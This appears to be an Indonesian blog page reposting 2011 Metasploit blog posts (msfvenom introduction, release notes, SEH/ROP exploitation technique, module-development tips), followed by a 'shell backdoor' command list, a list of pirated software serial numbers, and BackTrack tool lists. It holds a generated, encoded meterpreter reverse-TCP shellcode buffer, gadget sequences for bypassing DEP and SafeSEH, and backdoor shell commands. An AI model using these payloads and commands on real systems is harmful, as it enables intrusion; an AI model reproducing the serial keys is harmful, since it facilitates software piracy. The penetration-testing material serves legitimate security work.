Introducing msfvenom

The Metasploit Framework has included the useful tools msfpayload and msfencode for quite sometime. These tools are extremely useful for generating payloads in various formats and encoding these payloads using various encoder modules. Now I would like to introduce a new tool which I have been working on for the past week, msfvenom. This tool combines all the functionality of msfpayload and msfencode in a single tool.

Merging these two tools into a single tool just made sense. It standardizes the command line options, speeds things up a bit by using a single framework instance, handles all possible output formats, and brings some sanity to payload generation.

The usage of msfvenom is fairly straight forward:

fahrenheit:msf3 bannedit$ ./msfvenom -h  Usage: ./msfvenom [options] <var=val>    Options:      -p, --payload    [payload]       Payload to use. Specify a '-' or stdin to use custom payloads      -l, --list       [module_type]   List a module type example: payloads, encoders, nops, all      -n, --nopsled    [length]        Prepend a nopsled of [length] size on to the payload      -f, --format     [format]        Format to output results in: raw, ruby, rb, perl, pl, c, js_be, js_le, java, dll, exe, exe-small, elf, macho, vba, vbs, loop-vbs, asp, war      -e, --encoder    [encoder]       The encoder to use      -a, --arch       [architecture]  The architecture to use          --platform   [platform]      The platform of the payload      -s, --space      [length]        The maximum size of the resulting payload      -b, --bad-chars  [list]          The list of characters to avoid example: '\x00\xff'      -i, --iterations [count]         The number of times to encode the payload      -x, --template   [path]          Specify a custom executable file to use as a template      -k, --keep                       Preserve the template behavior and inject the payload as a new thread      -h, --help                       Show this message  

All these options are mappings of the msfpayload and msfencode options. Some minor things were changed to standardize things a bit. One change was the method of specifying the payload. The -p flag must be used to set the payload. The var=val pairs used to setup the datastore options for the payload still work the same way as msfpayload and can occur anywhere within the command line. 

Here is an example of using the tool to encode a meterpreter/reverse_tcp payload:

fahrenheit:msf3 bannedit$ msfvenom -p windows/meterpreter/reverse_tcp -f ruby -e -i 3 -s 480 LHOST=192.168.0.120  [*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)  [*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)  [*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)  buf =   "\xd9\xf7\xd9\x74\x24\xf4\xbb\x9c\xec\xea\x8a\x5f\x2b\xc9"+  "\xb1\x50\x31\x5f\x18\x03\x5f\x18\x83\xef\x60\x0e\x1f\x31"+  "\x11\xe0\xa4\x2a\xfb\x23\xfd\xc7\xdf\x2f\xa4\x16\xd6\x61"+  "\x10\x68\xb2\x95\x20\x60\xbe\x95\x7c\x65\x55\x40\x38\x01"+  "\x4b\x51\x78\x5f\x1f\x36\xde\x3b\x99\x8c\xb2\x11\xb3\x8d"+  "\x2d\x4c\x66\x7c\xbd\x02\x0b\xa6\xa9\x1a\x32\x65\xcf\x75"+  "\xe8\x15\x1a\x62\x5f\x69\xe1\xdd\x90\x2e\x2e\x40\xe0\xb7"+  "\x8b\x16\xfe\x15\xdc\x34\x4c\x4e\x18\x18\x03\x46\x22\xff"+  "\xa8\x9b\xf0\xd5\x4f\xe0\xfd\xab\x71\x6e\x43\x03\xd5\x28"+  "\x07\x29\x5e\xad\x8f\xd8\xaf\xbd\x69\x06\xf1\xd1\x4e\x9b"+  "\x01\x7d\x5a\x75\x54\x76\x90\xdb\x5e\x7b\x97\x37\xa4\xab"+  "\x2d\xe2\x17\x8e\xcf\x4b\xd0\x3f\xef\xc6\xff\xe5\x1c\xc3"+  "\x99\x04\x15\x2e\xce\x5e\x16\x86\x5a\x2f\x62\x0a\x32\xe5"+  "\xe1\xa4\xd3\x32\x92\x13\xfd\xcf\xb6\xa2\x8b\x97\xce\xf8"+  "\x27\x12\xb0\x6f\xb5\xa8\x91\x30\x2c\x14\x40\x2f\x43\xd8"+  "\x45\x46\xd0\x4c\x58\x59\x8d\x78\x47\xb2\xda\x79\x6c\xfa"+  "\x07\x43\x18\xc4\x07\x0e\x2f\xd0\x71\x84\xcb\x1c\xab\x01"+  "\xb0\x17\xed\x07\x1b\xb0\xcf\xd1\x25\xc1\x9b\x62\x7c\xac"+  "\x43\x2e\x52\x36\xb1\xfc\x61\xbc\x0e\x56\xdc\xe1\x9d\xc2"+  "\x29\x3f\xe9\xf3\xb1\xe2\x72\x77\x99\x4b\xf3\xfc\x83\xd2"+  "\x19\x6d\x53\x4c\x64\xa0\xdd\x38\x82\x3d\x15\x66\x38\x96"+  "\x39\xb3\xa4\xe3\xff\x07\xb7\x8a\x23\xca\xc6\xaf\x57\x64"+  "\x3d\xf3\x23\x63\x42\x30\x90\x3b\x67\x26\x81\x24\x61\xc3"+  "\xe4\x51\x75\x30\x47\xf8\x15\xcb\x21\xe9\x2a\x30\x9d\x04"+  "\x28\xe3\x37\xb0\xa4\xaa\x1e\xf3"  

The above example generates a meterpreter/reverse_tcp payload in the ruby output format. The payload is encoded three times using shikata_ga_nai which was automatically choosen based on the encoder modules ranking. The -s option specifies the output should not exceed 480 bytes. Finally the LHOST=192.168.0.120 portion of the command sets the LHOST variable for use with in the payload.

The following shows a quick speed comparison of the tools performing the same task:

fahrenheit:msf3 bannedit$ time ./msfvenom -p windows/meterpreter/reverse_tcp -e -i 3 LHOST=192.168.0.120 -f ruby 1> /dev/null  [*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)  [*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)  [*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)    real    0m2.744s  user    0m2.380s  sys    0m0.367s    fahrenheit:msf3 bannedit$ time ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.120 R|./msfencode -c 3 1> /dev/null  [*] x86/shikata_ga_nai succeeded with size 321 (iteration=1)   [*] x86/shikata_ga_nai succeeded with size 348 (iteration=2)  [*] x86/shikata_ga_nai succeeded with size 375 (iteration=3)     real    0m3.070s  user    0m4.227s  sys    0m0.778s  

We can see msfvenom is slightly faster due to the use of a single framework instance.

The tool is still in its infancy and I am sure there are still a few bugs, so don't hesitate to give me feedback. If you find a bug or have a feature idea feel free to make a redmine ticket on https://dev.metasploit.com. We will be shipping msfpayload and msfencode as a fallback until msfvenom has matured a little more.

bannedit@metasploit.com 25 May, 2011


--
Source: https://community.rapid7.com/community/metasploit/blog/2011/05/24/introducing-msfvenom
~

Baca selengkapnya »

Metasploit Framework 3.5.2 Released!

Originally Posted by egypt

On February 1st, Eduardo Prado of Secumania notified us of a privilege escalation vulnerability on multi-user Windows installations of the Metasploit Framework.  The problem was due to inherited permissions that allowed an unprivileged user to write files in the Metasploit installation directory.  Today we are releasing version 3.5.2 to fix this vulnerability.  The new installers fix this issue through two changes: first, we've moved the default installation to %ProgramFiles%, which does not normally allow non-admin write access; second, we explicitly remove any inherited permissions for the "Users" and "Authenticated Users" groups.  For users who prefer not to re-install Metasploit, you can use the following commands to fix the problem:

Vista and newer:

icacls c:\framework /inheritance:d /t
icacls c:\framework /remove *S-1-5-32-545 /t
icacls c:\framework /remove *S-1-5-11 /t

For systems older than Vista, you will need the xcacls.vbs tool available from Microsoft

xcacls.vbs c:\framework /E /R SID#S-1-5-32-545 /T

Note that the "Authenticated Users" group doesn't exist before Vista, so you only need to remove "Users".

This issue is mitigated by the fact that it only affects multi-user Windows installations with low-privileged accounts, a scenario we believe to be a small percentage of our users.

In addition to fixing this vulnerability, the 3.5.2 release fixes over 50 bugs and contains 39 new modules.  Also included in this release is a revamped WMAP courtesy of Efrain Torres, improvements to Meterpreter's railgun extension thanks to chao-mu, and a fledgling version of Post Exploitation modules (a more powerful replacement for Meterpreter scripts). Raphael Mudge's Armitage was also integrated in this release. Post modules are still in their infancy and will likely be much improved in the next release.

rapid7@sgaur.hosted.jivesoftware.com 09 Feb, 2011

Baca selengkapnya »

Nmap? In my Metasploit? It's more likely than you'd think!

Originally Posted by todb

If you've been paying any attention to the open source security software space, you've probably noticed that one of our favorite tools, nmap, ships with a pretty serious scipting engine. NSE allows users to run scripted interactions on discovered services, and lately, the repository of those scripts has exploded. As of the 5.50 release of nmap, there are 177 scripts and 54 supporting libraries, covering all sorts of protocols you're likely run into during a pen-test engagement.

In order to capitalize on this work, I put together a Metasploit mixin to make development of Metasploit-driven NSE scripts pretty easy and straightforward, as well as an example Metasploit module to test for default Oracle database credentials. You can get a hold of these with a checkout from the svn repository:

svn co https://metasploit.com/svn/framework3/trunk msf3

Modules that include Msf::Auxiliary::Nmap will now have a few handy methods available to them; most notably, the nmap_run() and nmap_hosts() methods. The first gets a hold of the locally-installed nmap binary and module-defined arguments, and runs the proscribed nmap scan and scripts configured by the module in a consistent, platform-independent way. Nmap_hosts() takes the XML log file produced by nmap_run(), parses out all the host nodes, and passes those back to the module to deal with as it will -- modules can format and display results on the console, log to the database, or perform more follow-on actions.

I'm really excited about the practical collaboration opportunities this integration creates between the nmap and Metasploit communities. If someone writes a wicked fast NSE script for doing interesting things on the network via nmap, Metasploit users can now pretty easily take advantage of the research. Metasploit has supported importing Nmap scan results for a while now, but this mechanism is more direct, more real-time, and can be more specialized to take advantage of specific NSE scripts.

rapid7@sgaur.hosted.jivesoftware.com 16 Mar, 2011

Baca selengkapnya »

Exploiting SEH Overwrites Using ROP

Originally Posted by jduck

In the final days of 2010, an exploit for the Windows CreateSizedDIBSECTION vulnerability was added to the Metasploit trunk. The trigger bitmap was taken byte-for-byte from Moti and Xu Hao's slides from the Power of Community conference. However, the method for achieving code execution on Windows XP was slightly different.

Since this vulnerability is basically equivalent to "memcpy(stack_buffer, user_input, -1);", the most reliable road to exploitation is achieved using an SEH overwrite. Unfortunately, Windows XP SP2 and later protects all modules loaded in Explorer.exe with SafeSEH. Additionally, Windows opts in to DEP/NX for Windows Explorer by default. Therefore, both DEP and SafeSEH must be bypassed for successful exploitation.

In order to accomplish that feat, Moti and Xu Hao used the "l3codeca.acm" module. Sadly, that module didn't get loaded during my tests. I later found that it loads when determining the duration of video in the "Details" view mode. Still, relying on two different Explorer window view modes seemed like a bad idea. So I looked for another way.

After a minute or so, the "msacm32.drv" module gets loaded into Windows Explorer's address space. This module is presumably used for handling something to do with ACM sound, but that's largely unimportant. It does mean that this technique will only work on Windows XP machines that have a compatible sound device though. The key fact is that this module isn't protected by SafeSEH! Win! We can use any address in the code segment of this library as our fake SEH handler.

So, now the problem is how to leverage this module to kick off a ROP-stage. At first I was a bit frazzled and rather than deduce the solution logically, I used a technique I like to call trigger-fuzzing. That is, I repeatedly triggered the vulnerability each address in "msacm32.drv" code segment and monitored the results. After less than 512 attempts, I noticed I had a crash with EIP containing the tell-tale Rex::Text pattern.

After investigating the instruction sequence that led to EIP control, I realized the beauty of it. Trigger-fuzzing had led me to a technique that enables replacing pop/pop/ret addresses with something turning them into ROP fairly easily. The magic sauce boils down to this:

mov reg32, [esp+8]
call [reg32+off]

As you can see, this will load the address of the SEH record from the stack, then use it's contents for the next gadget. As a bonus, we now have the address of the exception record in a register and can easily reference our payload (since we already know the SEH record offset in our buffer).

Of course, this isn't exactly breaking information, Nor is it the only instruction sequence that will work. While chatting with Peter Van Eeckhoutte, he pointed out that a similar gadget is on the corelan wallpaper. Here are some other possible instructions that could work, just to get your creative juices flowing.

mov reg,[ebp+0c] + call [reg] (from corelan wallpaper)
mov reg, fs:[0] / ... / ret (also from corelan wallpaper)
pop regX / pop regY / pop regZ / call [regZ+8]
push regX / mov regY,[esp+0xc] / call [regY+0xc]
mov regY, [ebp+0xc] / push [regY-0x4] / ret
mov regY, fs:[0] / mov reg, [regY-0x8] / jmp reg

The question that remains -- Which sequences are most common? Is there anything as common as Pop/Pop/Ret?

PS. If you're interested in these kinds of things, we're hiring! See our previous blog post, and try not to be too intimidated :-)

rapid7@sgaur.hosted.jivesoftware.com 31 Jan, 2011

Baca selengkapnya »

Announcing the Unstable Module Tree

Originally Posted by hdm

Exploit reliability has been a primary goal of the Metasploit Framework since the beginning. We require all modules to be consistent, reliable, and in cases where targeting is tricky, for this to be reflected in the Exploit Rank and in the default target settings. This policy has resulted in us turning down community submissions and withholding exploits that just didn't quite make the cut for mass distribution. Over the years our core developers and contributors have amassed dozens of modules that suffer from minor flaws or require just a bit more time to get right. These modules tend to be forgotten and eventually lose compatibility with the rest of the framework.

This process is not optimal; even when a module isn't "done", it may still be useful as a proof of concept or as a starting point for another developer to bring it to the next step. A half-finished exploit still provides a level of technical insight into a vulnerability that is difficult to obtain from most public vulnerability databases.

In an effort to improve this situation, we are happy to announce the Metasploit Framework "unstable" module tree. This tree provides a place for rough cut modules and proof of concepts to be submitted, shared, and easily used by other members of the community. Once a module is improved to the point that it meets the standards for inclusion into the main tree, it will be merged over and available via the normal update mechanism. This provides a faster path for community developers to receive feedback and can serve as a reference for anyone interested in the exploit details of a flaw when no stable module is available.

To kick things off, we seeded this tree with fifteen modules from the Rapid7 module archive. Some of these exploits are nearly done, but suffer from minor issues related to automatic exploitation, or have compatibility problems with certain payloads. We hope the community finds these modules useful and submits their own "backlog" for the public to review and improve.

To use these modules, check out the new tree from Subversion and load them into the Metasploit Framework console. The simple way to do this is outlined below:

$ svn co https://metasploit.com/svn/framework3/unstable/modules/ ~/.msf3/unstable/
$ msfconsole -m ~/.msf3/unstable/


To load the unstable tree automatically on startup, enter the following commands into the msfconsole prompt.


msf> setg MsfModulePaths /home/USERNAME/.msf3/unstable/
msf> save


For developers who would like to submit modules, please create a Redmine ticket or send them via email at msfdev[at]metasploit.com. Note that the Name field of the module should start with INCOMPLETE or UNRELIABLE depending on the status. This will indicate where it should live in the unstable tree and make it easy for folks to identify unstable modules via the standard console commands. The unstable tree is currently for modules only, but this does include Meterpreter scripts that have been ported to the new Post module format.

-HD

rapid7@sgaur.hosted.jivesoftware.com 21 Mar, 2011

Baca selengkapnya »

Metasploit Training at CanSecWest

Originally Posted by egypt

The Metasploit Framework is more than a pile of exploits; it is a collection of tools for gaining access where none is provided and a scaffolding for building new tools.  In a few weeks I will be teaching two, one-day dojos at CanSecWest focusing on using and extending the framework.  Some of the topics we will cover are: post-exploitation automation including meterpreter and cmd/sh shell sessions, no-exploit pwnage using stolen credentials of various types, and building your own scanners, bruteforce modules and plugins.  If you use Metasploit regularly but never felt like you could dig into the code and make it do new and awesome things, this is the class for you.  If you spend a lot of time writing one-off scripts to solve problems on a pentest, this class is for you.  If you have played with Metasploit but never used it to its full potential, this class is for you.

People have told me they don't have the necessary programming experience to get their hands dirty with Metasploit's code or that they use another language and "don't know Ruby." Without getting into the scripting-language holy wars, Ruby is very easy to learn. Don't be intimidated, programming for the Metasploit Framework is easy. The amount of programming knowledge needed to write modules is well within the grasp of most pentesters and anyone with exploit-development skills or other programming experience will be able to hit the ground running. When you have an idea for an awesome tool, or for improving the way it works, don't wait for someone else to do it. Take this class to learn how to mold the Framework to suit your needs.

If this sounds like something you're interested in, please sign up: Monday, March 7th or Tuesday, March 8th .

rapid7@sgaur.hosted.jivesoftware.com 15 Feb, 2011

Baca selengkapnya »

Using Kernel.load to speed up exploit dev

Originally Posted by egypt

When modifying Metasploit library code, you generally need to restart msfconsole to see the changes take effect. Although we've made some improvements in startup time, it's still not great, and waiting for the whole framework to load for a one-line change can be frustrating. Fortunately, Ruby has a simple way to reload a file: Kernel.load. Here's a simple example of how to use it:

##
# $Id$
##

load "./lib/rex/proto/my_new_protocol.rb"
load "./lib/msf/core/exploit/my_new_protocol.rb"

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  include Msf::Exploit::Remote::MyNewProtocol
  def initialize(info={})
    super(update_info(info,
      'Name' => "My New Protocol Exploit",
      'Description' => %q{ Exploits something in My New Protocol },
      # ...
    ))
  end
  def exploit
    MyNewProtocol.frobnicate(datastore["RHOST"])
  end
end

If my_new_protocol.rb defines any constants, Ruby will warn that they are being redefined. Generally this is harmless and you can ignore the warnings.

This simple technique can greatly decrease development time and works equally well when writing your own lib or modifying an existing one. When you're done with the exploit, simply replace the load lines with appropriate requires and send us a patch!

marcus_carey@rapid7.com 21 May, 2011


--
Source: https://community.rapid7.com/community/metasploit/blog/2011/05/20/using-kernelload-to-speed-up-exploit-dev

Baca selengkapnya »

Metasploit Framework 3.7.1 Released!

Originally posted by HDM:

We are happy to announce the immediate availability of version 3.7.1 of the Metasploit Framework, Metasploit Express, and Metasploit Pro. This is a relatively small release focused on bug fixes and performance improvements.

Notable highlights include an improved IPv6 reverse_tcp stager from Stephen Fewer, a performance improvement for HTTP services (client-side modules), a bug fix to channel support in the PHP Meterpreter, an update to MSFGUI, and various small tweaks to the included modules. In addition, this release adds exploit modules for the VLC Media Player and the ICONICS WebHMI ActiveX control (SCADA), as well as a new ARP Poisoning auxiliary module.

More details about the open source release can be found in the 3.7.1 Release Notes.  As always, the latest version is available from the Metasploit download page.

Metasploit Express and Metasploit Pro users will note an immediate performance improvement to the user interface as well as minor bug fixes to the Exploits and Vulnerabilities Live Report. Applying the latest software update from the Administration menu will apply the 3.7.1 upgrade. The full release notes can be found online at 3.7.1 Release Notes.

mjc@rapid7.com 17 May, 2011

Baca selengkapnya »

Metasploit Framework 3.7.0 Released!

Originally Posted by egypt

The Metasploit team has spent the last two months focused on one of the least-visible, but most important pieces of the Metasploit Framework; the session backend. Metasploit 3.7 represents a complete overhaul of how sessions are tracked within the framework and associated with the backend database. This release also significantly improves the staging process for the reverse_tcp stager and Meterpreter session initialization. Shell sessions now hold their output in a ring buffer, which allows us to easily view session history -- even if you don't have a database.

For information specific to the Metasploit Pro and Metasploit Express products, please see this blog post.

This overhaul increases performance in the presence of many sessions and allows for a larger number of concurrent incoming sessions in a more reliable manner. The Metasploit Console can now comfortably handle hundreds of sessions, an especially important consideration when running large-scale social engineering engagements. Several areas of database performance have seen significant improvements as well and importing large scan results is now up to four times faster.

Although much effort has gone into increasing performance with large numbers of hosts and sessions, sometimes small changes can mean a world of difference in usability. An example of such a change is msfpayload's new -h and -l options. Instead of always loading the entire framework when all you need is the list of output formats, msfpayload can now show you usage in less than a second.

This release also includes a long-awaited update to our SMB stack to enable signing. Thanks to some great work by Alexandre Maloteaux, you can now perform pass-the-hash and stolen password attacks against Windows 2008. Alexandre also added NTLM authentication support to the Microsoft SQL Server driver within Metasploit.

In addition to the core library improvements, this release comes with 35 new remote exploits thanks in large part to our two newest full time developers, bannedit and sinn3r.

More details about this release can be found in the 3.7.0 Release Notes. As always, the latest version is available from the Metasploit download page.

marcus_carey@rapid7.com 03 May, 2011


-

Baca selengkapnya »

Using Kernel.load to speed up exploit dev

When modifying Metasploit library code, you generally need to restart msfconsole to see the changes take effect. Although we've made some improvements in startup time, it's still not great, and waiting for the whole framework to load for a one-line change can be frustrating. Fortunately, Ruby has a simple way to reload a file: Kernel.load. Here's a simple example of how to use it:

##
# $Id$
##

load "./lib/rex/proto/my_new_protocol.rb"
load "./lib/msf/core/exploit/my_new_protocol.rb"

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::MyNewProtocol
def initialize(info={})
super(update_info(info,
'Name' => "My New Protocol Exploit",
'Description' => %q{ Exploits something in My New Protocol },
# ...
))
end
def exploit
MyNewProtocol.frobnicate(datastore["RHOST"])
end
end

If my_new_protocol.rb defines any constants, Ruby will warn that they are being redefined. Generally this is harmless and you can ignore the warnings.

This simple technique can greatly decrease development time and works equally well when writing your own lib or modifying an existing one. When you're done with the exploit, simply replace the load lines with appropriate requires and send us a patch!

egypt 21 May, 2011

Baca selengkapnya »

[ThE H@cK!!!nG ®] Dokumen Baru: perintah dlm shell backdoor

ReeNo Lezano PRakoso mengirimkan sesuatu di ThE H@cK!!!nG ® ReeNo Lezano PRakoso membuat dokumen: "perintah dlm shell backdoor" perintah dlm shell backdoor cd <dir> >>Moves to a directory  cd .. >>Moves to a lower directory cd ~ >>Moves to your home directory cd - >>Moves to the previous directory pwd >>Displays the current directory (untuk tahu di directory mana saat itu kita berada) pico <file> >>Edits a file tail -10 filename >>gives you the last 10 lines of a file. Can change the # to whatever you want. ftp <site> >>Connect to a FTP server lynx <site> >>View a webpage (contoh: lynx support6.wordpress.com, untuk keluar ketik 'q' atau 'Q') s >>Displays everything in the current directory ls -a >>Displays all files, including hidden ls -l >>Displays all files, along with the size and timestamp ls -al >>Display all, include hidden, size, timestamp cp <file> Copies a file to a new file (contoh: cp file.txt data.txt) mv <file> Moves a file to a new file, or rename (contoh: mv file.txt data.txt <<memindah isi file.txt ke data.txt) mkdir <dir> Creates a directory rmdir <dir> Deletes a directory rm <file> Deletes a file rm -f <file> Force to delete a file   rm -rf <dir> Deletes a directory chmod 755 admin >>ubah permission folder admin ke 755 chown usercp.nobody public_html >>Mengubah user dan group untuk public_html eberapa cara untuk melacak file grep >>Untuk mengetahui file apa saja yang mengandung karakter yang dicari format : grep -R "[parameter]" [path] contoh : grep -R "beli semua" ./public_html (mencari file yang ada kata-kata 'beli semua' di dalam public_html) find >> menemukan file dengan spesifikasi tertentu, misal dari nama, permission atau lainnya format : find [path] [expression] find . -type f -perm 777 >>Mencari file yang permission nya 777 di path . find . -type d -perm 777 >>Mencari directory yang permissionnya 777 find . -name "*nama*" whereis <file> Tells where a file is located locate:Search for a file or directory (uses the locate database) Lain-lain tar -cpzf filename.tar.gz - Tar the current directory tar -xzf xoops.tar.gz - Untar a file wget http://www.website.com/file.tar.gz - Download a file to the server  mysqldump -u username -p database_name > dbname.sql >>export database ke dbname.sql mysql -u username -p -h localhost data-base-name < data.sql >>import file .sql ke database sekian neh juga copas wkowkowko... :D Lihat Dokumen Lihat Kiriman di Facebook · Sunting Pengaturan Email · Balas email ini untuk menambahkan komentar.

Baca selengkapnya »

KUMPULAN-KUMPULAN SERIAL NuMBER

CD-Key dan serial Number Windows

Serial NumberINTERNET DOWNLOAD MANAGER 5.19

6MIM6-A1VD2-LHOB3-405SS

XA08C-GHYUH-2NKJR-NCXI1

63FOC-4QAQG-MOBOP-XKNJG

KOFH2-9CY4A-KBIZL-A501F

X1X6L-AEKPW-9UF6J-VTWNQ

Serial Number : 111-1111111 dapat digunakan untuk :

• BackOffice 4.5 (Beta 2)

• Flight Simulator 98 (OEM)

• Liquid Motion 1.0

• Monster Truck Madness

Baca selengkapnya »

kelebihan linux slackware backtrack 3

kelebihan linux slackware backtrack 3..
tahukah kamu dengan Backtrack?? hh..kalau kmu pencinta linux pasti g asing mendengar backtrack ini..yah..backtrack adalah salah satu distro yg diakui sejak kemunculannya di tahun 2006 sebagai operation sistem the best security and hacking ..yah,,disini saya cuma ngasih tahu kulitnya doank tentang backtrack..kalau ada waktu,,ntar kita pelajari backtrack di blog ini.. klo ngomongin backtrack,,dan kalau kamu menguasai backtrack,,dan jika kamu berniat jahat,,kelamlah dunia..hhaha..kebay,,eh lebay..backtrack adalah OS yg utama bagi dunia hacker underground..jika kamu tertarik dengan jaringan komputer,,backtrack adalah OS pilihan terbaik kamu..emang apasih kehebatan backtrack??

Baca selengkapnya »

BackTrack

Di antara beberapa tool yang terdapat dalam backtrack :

• Metasploit integration
• RFMON wireless drivers
• Kismet
• AutoScan-Network - AutoScan-Network is a network discovering and managing application
• Nmap
• Ettercap
• Wireshark (formerly known as Ethereal)
• Enumeration
• Exploit Archives
• Scanners
• Password Attacks
• Fuzzers
• Spoofing
• Sniffers
• Tunneling

Baca selengkapnya »